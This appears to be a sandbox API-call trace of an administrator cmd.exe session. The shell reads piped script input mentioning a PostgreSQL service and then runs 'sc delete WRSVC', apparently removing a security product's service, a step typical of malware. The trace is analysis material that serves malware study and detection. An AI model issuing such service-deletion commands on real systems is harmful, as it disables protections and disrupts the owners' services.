MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.933] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.933] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.933] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.933] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.933] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.933] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.934] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.934] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="Wpostgresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.934] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.934] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.934] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.934] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="Rostgresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.934] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.934] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.934] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.934] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="Sstgresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.934] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.934] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.934] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.934] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="Vtgresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.934] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.934] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.934] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.934] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="Cgresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.934] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.934] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.934] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.934] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.934] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.934] GetFileType (hFile=0xb8) returned 0x3 [0066.934] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.934] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.935] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.935] GetFileType (hFile=0x120) returned 0x3 [0066.935] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.935] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete WRSVC\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete WRSVC\n", lpUsedDefaultChar=0x0) returned 17 [0066.935] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x10, lpOverlapped=0x0) returned 1 [0066.935] GetProcessHeap () returned 0x1b0000 [0066.935] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0066.935] GetProcessHeap () returned 0x1b0000 [0066.935] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0066.935] GetProcessHeap () returned 0x1b0000 [0066.935] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0066.935] GetProcessHeap () returned 0x1b0000 [0066.935] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0066.935] GetProcessHeap () returned 0x1b0000 [0066.935] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x2c) returned 0x1c6510 [0066.935] GetConsoleOutputCP () returned 0x1b5 [0066.936] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.936] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.936] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.936] GetProcessHeap () returned 0x1b0000 [0066.936] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0066.936] GetProcessHeap () returned 0x1b0000 [0066.936] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x32) returned 0x1c6550 [0066.936] GetProcessHeap () returned 0x1b0000 [0066.936] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0066.936] SetErrorMode (uMode=0x0) returned 0x1 [0066.936] SetErrorMode (uMode=0x1) returned 0x0 [0066.936] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0066.936] SetErrorMode (uMode=0x1) returned 0x1 [0066.936] GetProcessHeap () returned 0x1b0000 [0066.936] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0066.936] GetProcessHeap () returned 0x1b0000 [0066.936] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0066.936] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0066.937] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0066.937] GetProcessHeap () returned 0x1b0000 [0066.937] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0066.937] GetProcessHeap () returned 0x1b0000 [0066.937] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0066.937] GetProcessHeap () returned 0x1b0000 [0066.937] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0066.937] GetProcessHeap () returned 0x1b0000 [0066.937] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0066.937] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.937] GetProcessHeap () returned 0x1b0000 [0066.937] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0066.937] GetProcessHeap () returned 0x1b0000 [0066.937] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0066.937] GetProcessHeap () returned 0x1b0000 [0066.937] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0066.937] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.937] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.937] GetLastError () returned 0x2 [0066.937] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.937] GetLastError () returned 0x2 [0066.938] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.938] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0066.938] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0066.938] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.938] GetLastError () returned 0x2 [0066.938] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0066.938] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0066.938] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0066.938] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0066.938] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.938] GetProcessHeap () returned 0x1b0000 [0066.938] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0066.938] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.939] GetProcessHeap () returned 0x1b0000 [0066.939] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x98) returned 0x1c9180 [0066.939] GetProcessHeap () returned 0x1b0000 [0066.939] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x98 [0066.939] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete WRSVC") returned 1 [0066.939] GetProcessHeap () returned 0x1b0000 [0066.939] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0066.939] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0066.939] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0066.939] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0066.939] GetProcessHeap () returned 0x1b0000 [0066.939] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0066.939] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0066.939] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0066.939] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0066.939] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0066.939] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.940] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.940] GetProcessHeap () returned 0x1b0000 [0066.940] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0066.941] GetProcessHeap () returned 0x1b0000 [0066.941] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0066.941] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete WRSVC", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete WRSVC", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete WRSVC", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0x310, dwThreadId=0xb0)) returned 1 [0066.946] CloseHandle (hObject=0x50) returned 1 [0066.946] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0066.946] GetProcessHeap () returned 0x1b0000 [0066.946] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0066.947] GetEnvironmentStringsW () returned 0x1d1b10* [0066.947] GetProcessHeap () returned 0x1b0000 [0066.947] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0066.947] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.947] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0066.947] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0066.947] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0066.993] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0066.993] CloseHandle (hObject=0x54) returned 1 [0066.993] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0066.993] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0066.993] GetProcessHeap () returned 0x1b0000 [0066.993] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0066.993] GetEnvironmentStringsW () returned 0x1d1b10* [0066.993] GetProcessHeap () returned 0x1b0000 [0066.993] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0066.994] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.994] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0066.994] GetProcessHeap () returned 0x1b0000 [0066.994] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0066.994] GetEnvironmentStringsW () returned 0x1d1b10* [0066.994] GetProcessHeap () returned 0x1b0000 [0066.994] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0066.994] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.994] GetProcessHeap () returned 0x1b0000 [0066.994] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0066.994] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0066.994] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0066.994] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.995] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0066.995] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.995] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0066.995] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.995] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0066.995] GetConsoleOutputCP () returned 0x1b5 [0066.995] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.995] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.995] GetProcessHeap () returned 0x1b0000 [0066.995] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0066.995] GetProcessHeap () returned 0x1b0000 [0066.995] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0066.995] GetProcessHeap () returned 0x1b0000 [0066.995] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0066.995] GetProcessHeap () returned 0x1b0000 [0066.995] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0066.995] GetProcessHeap () returned 0x1b0000 [0066.995] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0066.996] GetProcessHeap () returned 0x1b0000 [0066.996] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0066.996] GetProcessHeap () returned 0x1b0000 [0066.996] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0066.996] GetProcessHeap () returned 0x1b0000 [0066.996] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0066.996] GetProcessHeap () returned 0x1b0000 [0066.996] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0066.996] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0066.996] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.996] GetFileType (hFile=0x120) returned 0x3 [0066.996] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.996] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.996] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0066.996] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0066.996] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.996] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0066.996] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0066.996] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.996] GetFileType (hFile=0x120) returned 0x3 [0066.996] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.996] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0066.996] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0066.996] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.996] GetFileType (hFile=0xb8) returned 0x3 [0066.996] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.996] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 